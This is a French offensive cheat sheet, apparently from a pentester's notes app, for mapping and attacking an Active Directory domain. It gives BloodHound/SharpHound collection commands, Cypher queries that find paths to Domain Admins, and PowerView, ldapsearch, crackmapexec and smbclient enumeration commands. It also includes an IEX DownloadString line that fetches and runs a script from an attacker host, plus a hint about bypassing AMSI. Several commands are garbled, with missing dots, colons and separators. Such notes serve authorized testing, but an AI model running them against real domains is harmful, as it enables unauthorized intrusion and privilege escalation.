MDstable
NoteSnippetChecklistPlaybook

Active Directory — Enumération offensive

BloodHound, PowerView, SharpHound — cartographier et attaquer un domaine AD

snippetadvanced 2025-05-13 3 min read
active-directorybloodhoundpowerviewsharphoundADpentestenum

BloodHound / SharpHound

bash
Variables
{{TARGET_DOMAIN}}
{{USER}}
{{PASSWORD}}
{{TARGET_IP}}
# Collecte depuis une machine Windows jointe au domaine
# SharpHound.exe (méthode recommandée)
SharpHoundexe -c All --zipfilename lootzip
SharpHoundexe -c DCOnly # DC seulement, discret
SharpHoundexe -c AllGPOLocalGroup --loop --loopduration 020000
# BloodHound.py (depuis Linux, sans être joint au domaine)
bloodhound-python -d {{TARGET_DOMAIN}} -u {{USER}} -p {{PASSWORD}} -c All -ns {{TARGET_IP}}
bloodhound-python -d {{TARGET_DOMAIN}} -u {{USER}} -p {{PASSWORD}} -c All --zip
# Lancer BloodHound
neo4j console &
bloodhound &
# Importer le zip dans l'interface

Requêtes Cypher utiles (onglet Raw Query)

cypher
Variables
{{TARGET_DOMAIN}}
-- Trouver le chemin le plus court vers Domain Admins
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@{{TARGET_DOMAIN}}"}))
RETURN p
-- Tous les utilisateurs avec droits DCSync
MATCH p=(n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain)
RETURN p
-- Machines où Domain Admins sont loggés
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@{{TARGET_DOMAIN}}"})
RETURN c.name, u.name
-- Kerberoastable users avec chemin vers DA
MATCH p=shortestPath((u:User {hasspn:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@{{TARGET_DOMAIN}}"}))
RETURN p
-- ASREPRoastable
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.description

PowerView (PowerShell)

powershell
Variables
{{LHOST}}
{{USER}}
{{TARGET}}
# Charger (bypass AMSI d'abord si nécessaire)
Import-Module .\PowerView.ps1
# ou
IEX (New-Object Net.WebClient).DownloadString('http://{{LHOST}}/PowerView.ps1')
# Info domaine
Get-Domain
Get-DomainController | select Name, IPAddress
Get-DomainTrust
# Utilisateurs
Get-DomainUser -Properties name,samaccountname,description,memberof,pwdlastset,lastlogon
Get-DomainUser -SPN # comptes Kerberoastable
Get-DomainUser -PreauthNotRequired # ASREPRoastable
# Groupes privilégiés
Get-DomainGroupMember "Domain Admins" -Recurse
Get-DomainGroupMember "Enterprise Admins" -Recurse
Get-DomainGroupMember "Backup Operators" -Recurse
# Délégations Kerberos (critiques)
Get-DomainComputer -Unconstrained | select name # délégation non contrainte
Get-DomainComputer -TrustedToAuth | select name # délégation contrainte
Get-DomainUser -AllowDelegation -AdminCount # utilisateurs avec délégation
# ACL exploitables
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -eq "{{USER}}"}
# Sessions actives (où sont loggés les admins)
Get-NetLoggedon -ComputerName {{TARGET}}
Get-DomainController | ForEach-Object { Get-NetLoggedon -ComputerName $_.Name }
Find-DomainUserLocation -UserGroupIdentity "Domain Admins" # cherche les sessions DA
# GPO
Get-DomainGPO | select displayname, gpcfilesyspath
Get-DomainGPOLocalGroup # GPO qui ajoutent des utilisateurs aux admins locaux
# Partages réseau
Find-DomainShare -CheckShareAccess # partages accessibles
Find-InterestingFile -Path \\{{TARGET}}\share -Include *.txt,*.xml,*.config,*.ps1

Enum4linux / LDAPSearch

bash
Variables
{{TARGET_IP}}
{{USER}}
{{TARGET_DOMAIN}}
{{PASSWORD}}
# enum4linux-ng
enum4linux-ng -A -R {{TARGET_IP}} | tee enum4linuxtxt
# ldapsearch
ldapsearch -x -H ldap//{{TARGET_IP}} -D "{{USER}}@{{TARGET_DOMAIN}}" -w {{PASSWORD}}
-b "DC=corp,DC=lan" "(objectClass=user)" sAMAccountName description memberOf
# Tous les groupes
ldapsearch -x -H ldap//{{TARGET_IP}} -D "{{USER}}@{{TARGET_DOMAIN}}" -w {{PASSWORD}}
-b "DC=corp,DC=lan" "(objectClass=group)" cn member
# Comptes avec SPN (Kerberoastable)
ldapsearch -x -H ldap//{{TARGET_IP}} -D "{{USER}}@{{TARGET_DOMAIN}}" -w {{PASSWORD}}
-b "DC=corp,DC=lan" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName

Impacket — Enumération sans être joint au domaine

bash
Variables
{{TARGET_IP}}
{{USER}}
{{PASSWORD}}
{{TARGET_DOMAIN}}
# Info SMB
crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}}
crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --shares
crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --users
crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --groups
crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --loggedon-users
crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --pass-pol
# GetADUsers
GetADUserspy -all {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}} -dc-ip {{TARGET_IP}}
# Lister les partages et contenu
smbclient -L //{{TARGET_IP}} -U {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}
smbclient //{{TARGET_IP}}/share -U {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}
💡 Tip —

Après collecte BloodHound, commencer par "Find All Domain Admins" et "Find Shortest Paths to Domain Admins". Les chemins via "GenericAll", "WriteDACL", "WriteOwner" ou "ForceChangePassword" sont souvent les plus exploitables et les moins surveillés.

OPS·BRAIN v1.075 notes · Securitylocal